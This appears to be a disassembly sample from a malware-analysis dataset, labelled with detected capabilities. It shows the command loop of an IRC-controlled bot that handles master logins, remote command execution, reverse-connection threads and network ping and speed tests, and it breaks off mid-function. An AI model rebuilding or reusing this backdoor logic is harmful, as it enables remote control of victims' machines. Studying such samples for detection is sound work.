Function at 0x14004dd00
Capabilities:
Check for time delay via gettickcount
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x84f0
call fcn.140072a00
sub rsp, rax
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x84e0], rax
lea rcx, [rsp + 0x44e1]
xor edx, edx
mov r8d, 0x3fff
mov byte [rsp + 0x44e0], 0
call fcn.14005fe50
lea rcx, [rsp + 0x531]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x530], 0
call fcn.14005fe50
xor r13d, r13d
mov ebx, r13d
mov dword [rsp + 0x80], ebx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r14d, eax
mov dword [rsp + 0x84], eax
jmp 0x14004ddb2
mov r14d, dword [rsp + 0x84]
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddc0
mov ebx, dword [rsp + 0x80]
mov esi, 1
jmp 0x14004ddc0
xor r13d, r13d
mov esi, 1
lea rbp, [0x1400ad440]
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
mov eax, 0x10624dd3
sub edx, r14d
mul edx
shr edx, 6
cmp edx, 0x258
jb 0x14004de62
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x44e0]
xor edx, edx
mov r8d, 0x4000
mov r14d, eax
mov dword [rsp + 0x84], eax
call fcn.14005fe50
mov r9, qword [0x1400ad428]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbp
mov edx, 0x3fff
repne scasb al, byte [rdi]
not rcx
dec rcx
test ecx, ecx
lea rcx, [rsp + 0x44e0]
je 0x14004de42
lea r8, str.JOIN__s__s_r_n
mov qword [rsp + 0x20], rbp
call fcn.14005ff3c
jmp 0x14004de4e
lea r8, str.JOIN__s_r_n
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x44e0]
call fcn.140015c20
lea rcx, [rsp + 0x44e0]
xor edx, edx
mov r8d, 0x4000
call fcn.14005fe50
mov rcx, qword [0x1400a9640]
mov edx, 0x258
call fcn.140006480
test eax, eax
je 0x14004e118
cmp eax, 0xffffffff
je 0x14004e118
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x44e0]
mov r8d, 0x4000
call fcn.140015c50
test eax, eax
jle 0x14004e118
lea rdx, str.PING_:
lea rcx, [rsp + 0x44e0]
mov r8d, 6
call fcn.14006036c
test eax, eax
jne 0x14004df0d
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x44e0]
mov byte [rsp + 0x44e1], 0x4f
call fcn.140015c20
test eax, eax
je 0x14004e118
mov ecx, SQLAllocHandle
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14004ddc0
lea rdx, str.___:_n_r
lea rcx, [rsp + 0x44e0]
call fcn.14006173c
mov r15d, r13d
mov r12, r13
test rax, rax
je 0x14004df4e
mov qword [rsp + r12*8 + 0xd0], rax
lea rdx, str.___:_n_r
xor ecx, ecx
inc r15d
inc r12
call fcn.14006173c
cmp r15d, 0x40
jb 0x14004df27
mov dword [rsp + 0x90], r15d
cmp r15d, 5
jb 0x14004ddc0
lea rcx, [rsp + 0x530]
xor edx, edx
mov r8d, 0x400
call fcn.14005fe50
mov rdi, qword [rsp + 0xe8]
lea rdx, str.PRIVMSG
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e3b9
lea rdx, str.PART
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e026
lea rdx, str.QUIT
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e026
cmp dword [0x1400a9648], 0
je 0x14004e062
lea rdx, str.NICK
mov rcx, rdi
call fcn.1400605e0
test eax, eax
jne 0x14004e062
mov rdx, qword [rsp + 0xd0]
lea rcx, [0x1400a964c]
call fcn.1400605e0
test eax, eax
jne 0x14004e062
lea rcx, [0x1400a964c]
xor edx, edx
mov r8d, 0x80
call fcn.14005fe50
mov rdx, qword [rsp + 0xf0]
lea rcx, [0x1400a964c]
mov r8d, 0x7f
call fcn.140060000
jmp 0x14004e062
cmp dword [0x1400a9648], 0
je 0x14004e062
mov rdx, qword [rsp + 0xd0]
lea rcx, [0x1400a964c]
call fcn.1400605e0
test eax, eax
jne 0x14004e062
lea rcx, [0x1400a964c]
xor edx, edx
mov r8d, 0x80
mov dword [0x1400a9648], r13d
call fcn.14005fe50
lea rdx, str.KICK
mov rcx, rdi
call fcn.1400605e0
test eax, eax
jne 0x14004e163
cmp r15d, 5
jbe 0x14004ddc0
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [0x1400ad430]
call fcn.1400605e0
test eax, eax
jne 0x14004ddc0
lea rcx, [rsp + 0x530]
xor edx, edx
mov r8d, 0x400
call fcn.14005fe50
mov r9, qword [0x1400ad428]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbp
mov edx, 0x3ff
repne scasb al, byte [rdi]
not rcx
dec rcx
test ecx, ecx
lea rcx, [rsp + 0x530]
je 0x14004e0f0
lea r8, str.JOIN__s__s_r_n
mov qword [rsp + 0x20], rbp
call fcn.14005ff3c
jmp 0x14004e0fc
lea r8, str.JOIN__s_r_n
call fcn.14005ff3c
lea rdx, [rsp + 0x530]
mov rcx, qword [0x1400a9640]
call fcn.140015c20
test eax, eax
jne 0x14004ddc0
mov rcx, qword [0x1400a9640]
call qword [0x1400abc70]
mov qword [0x1400a9640], 0xffffffffffffffff
xor eax, eax
mov rcx, qword [rsp + 0x84e0]
xor rcx, rsp
call fcn.14005fe20
lea r11, [rsp + 0x84f0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rdi, qword [rsp + 0xd8]
lea rdx, [0x1400891a0]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e344
lea rdx, [0x14008919c]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e344
lea rdx, [0x140089198]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e2c5
lea rdx, [0x140089194]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e2c5
lea rdx, [0x140089190]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e22a
lea rdx, [0x14008918c]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e22a
lea rdx, [0x140089188]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e22a
lea rdx, [0x140089184]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004e22a
lea rdx, [0x140089180]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
jne 0x14004ddc0
lea rcx, [rsp + 0x530]
xor edx, edx
mov r8d, 0x400
call fcn.14005fe50
mov r9, qword [0x1400ad428]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbp
mov edx, 0x3ff
repne scasb al, byte [rdi]
not rcx
dec rcx
test ecx, ecx
lea rcx, [rsp + 0x530]
je 0x14004e27b
lea r8, str.JOIN__s__s_r_n
mov qword [rsp + 0x20], rbp
call fcn.14005ff3c
jmp 0x14004e287
lea r8, str.JOIN__s_r_n
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
mov dword [rsp + 0x80], ebx
cmp ebx, 0x14
jb 0x14004ddc0
jmp 0x14004e118
lea rcx, [rsp + 0x44e0]
xor edx, edx
mov r8d, 0x4000
call fcn.14005fe50
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9, qword [0x1400ad430]
mov ecx, eax
mov eax, 0x4ec4ec4f
lea r8, str.NICK__s__c_r_n
mul ecx
shr edx, 3
imul edx, edx, 0x1a
sub ecx, edx
mov edx, 0x3fff
add ecx, 0x41
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x44e0]
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x44e0]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14004ddc0
lea rcx, [rsp + 0x44e0]
xor edx, edx
mov r8d, 0x4000
call fcn.14005fe50
mov r9, qword [0x1400ad428]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbp
mov edx, 0x3fff
repne scasb al, byte [rdi]
not rcx
dec rcx
test ecx, ecx
lea rcx, [rsp + 0x44e0]
je 0x14004e3a0
lea r8, str.JOIN__s__s_r_n
mov qword [rsp + 0x20], rbp
call fcn.14005ff3c
lea rdx, [rsp + 0x44e0]
jmp 0x14004e104
lea r8, str.JOIN__s_r_n
call fcn.14005ff3c
lea rdx, [rsp + 0x44e0]
jmp 0x14004e104
cmp r15d, 6
jb 0x14004ddc0
mov rbp, qword [rsp + 0xf8]
lea rdx, str..Reset
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004e46b
lea rbp, [0x1400ad440]
cmp r15d, 6
jbe 0x14004ddc0
mov rdx, qword [0x1400ad438]
mov rcx, qword [rsp + 0x100]
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
jne 0x14004ddc0
cmp dword [0x1400a9648], 0
lea rbp, [0x1400ad440]
je 0x14004ddc0
lea rcx, [0x1400a964c]
xor edx, edx
mov r8d, 0x80
mov dword [0x1400a9648], r13d
call fcn.14005fe50
mov r9, qword [rsp + 0xf0]
lea r8, str.PRIVMSG__s_:Rest_Successful_r_n
lea rcx, [rsp + 0x530]
mov edx, 0x3ff
call fcn.14005ff3c
jmp 0x14004e8b6
lea rdx, str..CUL
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004e53c
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
lea rbp, [0x1400ad440]
cmp dword [0x1400a9648], eax
je 0x14004ddc0
mov rbx, qword [rsp + 0x100]
mov rcx, rbx
call fcn.140005130
lea rbp, [0x1400ad440]
mov esi, eax
test eax, eax
je 0x14004dda1
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
mov dword [rsp + 0x28], esi
lea r8, str.PRIVMSG__s_:_s_Login__d_Times_r_n
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
mov qword [rsp + 0x20], rbx
mov r9, rdi
test eax, eax
je 0x14004e50a
mov r9, qword [rsp + 0xd0]
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov ebx, dword [rsp + 0x80]
mov esi, 1
jmp 0x14004ddb7
lea rdx, str..FTest
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x1400550f7
lea rdx, str..ATest
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x1400550f7
lea rdx, str..WakeUp
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004e6c0
cmp r15d, 7
je 0x14004e598
lea rbp, [0x1400ad440]
cmp r15d, 9
jne 0x14004ddc0
lea rcx, [rsp + 0x30e0]
xor edx, edx
mov r8d, 0x400
call fcn.14005fe50
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rsi, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
lea r9, [rsp + 0x30e0]
mov r8, rsi
cmove rbx, rdi
mov rdx, rbx
call fcn.140036500
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dda1
cmp r15d, 7
jne 0x14004e633
mov rcx, qword [0x1400a9640]
lea r9, [rsp + 0x30e0]
mov r8, rsi
mov rdx, rbx
call fcn.140035e10
mov ebx, dword [rsp + 0x80]
lea esi, [r15 - 6]
jmp 0x14004ddb7
mov rdi, qword [rsp + 0x110]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x14004e6b7
mov rcx, rdi
call fcn.140061730
lea ecx, [rax - 1]
cmp ecx, 0xfffe
ja 0x14004e696
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1400a9640]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x30e0]
mov r9, rsi
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.140036010
mov ebx, dword [rsp + 0x80]
mov esi, 1
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:Port_Out_Of_Range_r_n
lea rcx, [rsp + 0x530]
mov r9, rbx
mov edx, 0x3ff
call fcn.14005ff3c
jmp 0x14004e50f
lea r8, str.PRIVMSG__s_:Invalid_Port_r_n
jmp 0x14004e69d
lea rdx, str..TConnect
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004e7dc
cmp r15d, 9
je 0x14004e6ee
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
cmp dword [0x1400a9648], 0
lea rbp, [0x1400ad440]
je 0x14004ddc0
mov rdi, qword [rsp + 0x108]
mov rcx, rdi
call fcn.140004d50
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
mov rcx, rdi
mov esi, r13d
mov ebp, r13d
call fcn.140061730
mov r13d, 0x2710
mov r12d, eax
cmp r15d, 9
jne 0x14004e765
mov rdi, qword [rsp + 0x110]
mov rcx, rdi
call fcn.140004d50
lea r13d, [r15 - 9]
test eax, eax
je 0x14004ddb2
mov rcx, rdi
call fcn.140061730
mov r13d, eax
mov rbx, qword [rsp + 0x100]
mov edi, 5
movzx edx, r12w
mov rcx, rbx
call fcn.140007830
test eax, eax
js 0x14004e786
add ebp, eax
inc esi
sub rdi, 1
jne 0x14004e772
mov ebx, dword [rsp + 0x80]
test esi, esi
je 0x14004ddaf
xor edx, edx
mov eax, ebp
lea rbp, [0x1400ad440]
div esi
lea esi, [rdi + 1]
cmp eax, r13d
mov r13, rdi
mov ebx, eax
ja 0x14004dd98
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
lea r8, str.PRIVMSG__s_:The_Average_Connection_Speed:__d_MS_r_n
jmp 0x140050cf0
lea rdx, str..SPing
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004e8d7
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
lea rbp, [0x1400ad440]
cmp dword [0x1400a9648], eax
je 0x14004ddc0
mov rdi, qword [rsp + 0x108]
mov rcx, rdi
call fcn.140004d50
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
mov rcx, rdi
call fcn.140061730
mov rcx, qword [rsp + 0x100]
lea r8, [rsp + 0x98]
mov edx, eax
mov dword [rsp + 0x98], r13d
call fcn.140007fc0
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
lea r8, str.PRIVMSG__s_:The_Average_Ping_Speed:__d_MS_r_n
mov edx, 0x3ff
test eax, eax
mov eax, dword [rsp + 0x98]
lea rcx, [rsp + 0x530]
mov dword [rsp + 0x20], eax
mov r9, rdi
je 0x14004e8b1
mov r9, qword [rsp + 0xd0]
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
jmp 0x14004ddb7
lea rdx, str..Report
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004e956
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
lea rbp, [0x1400ad440]
cmp dword [0x1400a9648], eax
je 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140037ba0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, [0x140089038]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x14005508a
lea rdx, str..ModifyBanner
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x14005508a
lea rdx, [0x140089024]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140055025
lea rdx, str..ListBanner
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140055025
lea rdx, str..Exec
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004eb5b
lea rbp, [0x1400ad440]
cmp r15d, 6
jbe 0x14004ddc0
lea rbp, [0x1400ad440]
cmp dword [0x1400a9648], eax
je 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rcx, [rsp + 0x2ce0]
mov r8d, 0x400
test eax, eax
cmove rbx, rdi
xor edx, edx
call fcn.14005fe50
mov r9, qword [rsp + 0x100]
lea r8, [0x1400757f8]
lea rcx, [rsp + 0x2ce0]
mov edx, 0x3ff
call fcn.14005ff3c
mov r11d, 7
cmp r15d, r11d
jbe 0x14004eaec
movzx edx, word [0x140086da8]
lea r10, [rsp + 0x108]
nop word [rax + rax]
mov r9, qword [r10]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r9
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x2ce0]
not rcx
lea r8, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
dec rcx
add r8d, ecx
cmp r8d, 0x3f6
jae 0x14004eaec
or rcx, 0xffffffffffffffff
lea r8, [rsp + 0x2ce0]
mov rdi, r8
repne scasb al, byte [rdi]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], dx
mov rdi, r8
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14004ead0
inc r11d
add r10, 8
cmp r11d, r15d
jb 0x14004ea70
xor edx, edx
lea rcx, [rsp + 0xb31]
mov byte [rsp + 0xb30], 0
lea r8d, [rdx + 0x7f]
call fcn.14005fe50
lea rcx, [rsp + 0x2ce0]
call fcn.14000df20
mov r9, rbx
mov edx, 0x7f
lea rcx, [rsp + 0xb30]
lea r8, str.PRIVMSG__s_:Execute_Command_Successfully_r_n
test eax, eax
jne 0x14004eb36
lea r8, str.PRIVMSG__s_:Fail_To_Execute_Command_r_n
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0xb30]
call fcn.140015c20
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..Connect
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004ed5f
lea rbp, [0x1400ad440]
cmp r15d, 8
jb 0x14004ddc0
lea rbp, [0x1400ad440]
cmp dword [0x1400a9648], eax
je 0x14004ddc0
lea rcx, [rsp + 0xf41]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0xf40], al
call fcn.14005fe50
cmp r15d, 8
jne 0x14004ebeb
mov rax, qword [rsp + 0x108]
mov r9, qword [rsp + 0x100]
lea r8, str.Connect__s__s
lea rcx, [rsp + 0xf40]
mov edx, 0x100
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
jmp 0x14004ece4
cmp r15d, 9
jne 0x14004ebfe
mov rax, qword [rsp + 0x110]
jmp 0x14004ecb1
jbe 0x14004ece4
lea rcx, [rsp + 0x10c0]
xor edx, edx
mov r8d, 0x100
call fcn.14005fe50
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x10c0]
sub rcx, rdx
nop dword [rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x14004ec30
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x10c0]
repne scasb al, byte [rdi]
movzx eax, word [0x14007f20c]
mov word [rdi - 1], ax
cmp r15d, 9
jbe 0x14004eca9
lea r8, [rsp + 0x118]
lea r9d, [r15 - 9]
nop dword [rax + rax]
mov rdx, qword [r8]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x10c0]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14004ec90
add r8, 8
sub r9, 1
jne 0x14004ec70
lea rax, [rsp + 0x10c0]
mov r9, qword [rsp + 0x100]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x108]
lea r8, str.Connect__s__s__s
lea rcx, [rsp + 0xf40]
mov edx, 0x100
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
lea rcx, [rsp + 0x14c0]
xor edx, edx
mov r8d, 0x100
call fcn.14005fe50
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rcx, [rsp + 0xf40]
test eax, eax
cmove rbx, rdi
call fcn.14004d970
mov r9, rbx
mov edx, 0xff
lea rcx, [rsp + 0x14c0]
lea r8, str.PRIVMSG__s_:Create_Reverse_Thread_Successfully_r_n
test eax, eax
jne 0x14004ed4d
lea r8, str.PRIVMSG__s_:Fail_To_Create_Reverse_Thread_r_n
call fcn.14005ff3c
lea rdx, [rsp + 0x14c0]
jmp 0x1400538c9
lea rdx, str..Ping
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004eee1
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
lea rbp, [0x1400ad440]
cmp dword [0x1400a9648], eax
je 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rcx, [rsp + 0x11c0]
mov r8d, 0x200
test eax, eax
cmove rbx, rdi
xor edx, edx
call fcn.14005fe50
mov rdi, qword [rsp + 0x100]
lea rbp, [0x1400ad440]
test rdi, rdi
je 0x14004dda1
mov rcx, rdi
call qword [0x1400acf88]
cmp eax, 0xffffffff
je 0x14004ee1d
lea r8, str.PRIVMSG__s_:Pinging__s_r_n
lea rcx, [rsp + 0x11c0]
mov r9, rbx
mov edx, 0x1ff
mov qword [rsp + 0x20], rdi
call fcn.14005ff3c
jmp 0x14004ee66
mov rcx, rdi
call fcn.140004e90
mov r9, rbx
mov edx, 0x1ff
lea rcx, [rsp + 0x11c0]
test rax, rax
je 0x14004ee52
mov qword [rsp + 0x28], rax
lea r8, str.PRIVMSG__s_:Pinging__s_____s_r_n
mov qword [rsp + 0x20], rdi
call fcn.14005ff3c
jmp 0x14004ee66
lea r8, str.PRIVMSG__s_:Fail_To_Resolve_Host__s_r_n
mov qword [rsp + 0x20], rdi
call fcn.14005ff3c
mov esi, r13d
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x11c0]
call fcn.140015c20
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dda1
test esi, esi
lea rbp, [0x1400ad440]
mov esi, 1
je 0x14004dd98
lea rcx, [rsp + 0x11c0]
xor edx, edx
mov r8d, 0x200
call fcn.14005fe50
lea rdx, [rsp + 0x11c0]
mov r8d, 0x200
mov rcx, rdi
call fcn.140008200
lea rdx, [rsp + 0x11c0]
lea r8, str.PRIVMSG__s_:_s_r_n
mov qword [rsp + 0x20], rdx
jmp 0x1400538ac
lea rdx, str..Ram
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004efd3
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
lea rbp, [0x1400ad440]
cmp dword [0x1400a9648], eax
je 0x14004ddc0
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.140004d50
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
mov rcx, rdi
call fcn.140061730
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0xbc]
mov dword [rsp + 0xbc], r13d
mov dword [rsp + 0xa0], r13d
mov edi, eax
call fcn.1400089a0
mov ebx, dword [rsp + 0xbc]
lea rbp, [0x1400ad440]
cmp ebx, edi
jb 0x14004dd98
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
lea r8, str.PRIVMSG__s_:_d_MB____d_MB_r_n
mov edx, 0x3ff
test eax, eax
mov eax, dword [rsp + 0xa0]
lea rcx, [rsp + 0x530]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebx
mov r9, rdi
je 0x14004efc9
mov r9, qword [rsp + 0xd0]
call fcn.14005ff3c
jmp 0x1400538c1
lea rdx, str..SLogin
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f1ce
cmp r15d, 8
je 0x14004f001
lea rbp, [0x1400ad440]
cmp r15d, 9
jne 0x14004ddc0
lea rcx, [rsp + 0xdb0]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea rax, [0x1400ad4c0]
lea r9, [rsp + 0xdb0]
mov qword [rsp + 0x28], rax
lea rdx, str.DefaultUserName
lea rcx, str.GlobalSettings
xor r8d, r8d
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x14004f085
lea rcx, [rsp + 0xdb0]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea rcx, [rsp + 0xdb0]
mov edx, 0x104
call fcn.140040a90
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
jmp 0x14004f0ab
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0xdb0]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0xdb0]
mov edx, edx
call fcn.14000cac0
mov rdx, qword [rsp + 0x108]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0xdb0]
mov r8d, r8d
call fcn.14006036c
lea rbp, [0x1400ad440]
test eax, eax
jne 0x14004ddc0
mov rdx, qword [0x1400ad438]
mov rcx, qword [rsp + 0x100]
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
jne 0x14004ddc0
cmp dword [0x1400a9648], 0
jne 0x14004f171
mov rdi, qword [rsp + 0xd0]
lea rcx, [0x1400a964c]
mov r8d, 0x7f
mov rdx, rdi
mov dword [0x1400a9648], esi
call fcn.140060000
mov rbx, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rbx
call fcn.1400605e0
mov qword [rsp + 0x20], rdi
lea r8, str.PRIVMSG__s_:Master__s_Login_r_n
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
test eax, eax
jne 0x14004f16c
mov r9, rbx
jmp 0x14004f19a
mov r9, rdi
jmp 0x14004f19a
mov rax, qword [rsp + 0xd0]
mov r9, qword [rsp + 0xf0]
lea r8, str.PRIVMSG__s_:Master__s_Login_Already_r_n
mov qword [rsp + 0x20], rax
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
call fcn.14005ff3c
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ebx, dword [rsp + 0x80]
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
jmp 0x140055004
lea rdx, str..Login
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f2cc
cmp r15d, 7
je 0x14004f1fc
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rdx, qword [0x1400ad438]
mov rcx, qword [rsp + 0x100]
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rsi, rbx
test eax, eax
cmove rsi, rdi
cmp dword [0x1400a9648], 0
jne 0x14004f277
mov ecx, 1
mov rdx, rbx
lea r8d, [rcx + 0x7e]
mov dword [0x1400a9648], ecx
lea rcx, [0x1400a964c]
call fcn.140060000
lea r8, str.PRIVMSG__s_:Master__s_Login_r_n
jmp 0x14004f27e
lea r8, str.PRIVMSG__s_:Master__s_Login_Already_r_n
lea rcx, [rsp + 0x530]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rbx
call fcn.14005ff3c
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ebx, dword [rsp + 0x80]
mov esi, 1
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
jmp 0x140055004
cmp dword [0x1400a9648], 0
je 0x14004ddb7
lea rdx, str..Set
mov r8d, 5
mov rcx, rbp
call fcn.14006036c
test eax, eax
jne 0x14004f432
cmp r15d, 8
je 0x14004f30d
lea rbp, [0x1400ad440]
cmp r15d, 9
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rsi, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov ebx, r13d
test eax, eax
cmove rsi, rdi
cmp r15d, 9
jne 0x14004f354
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
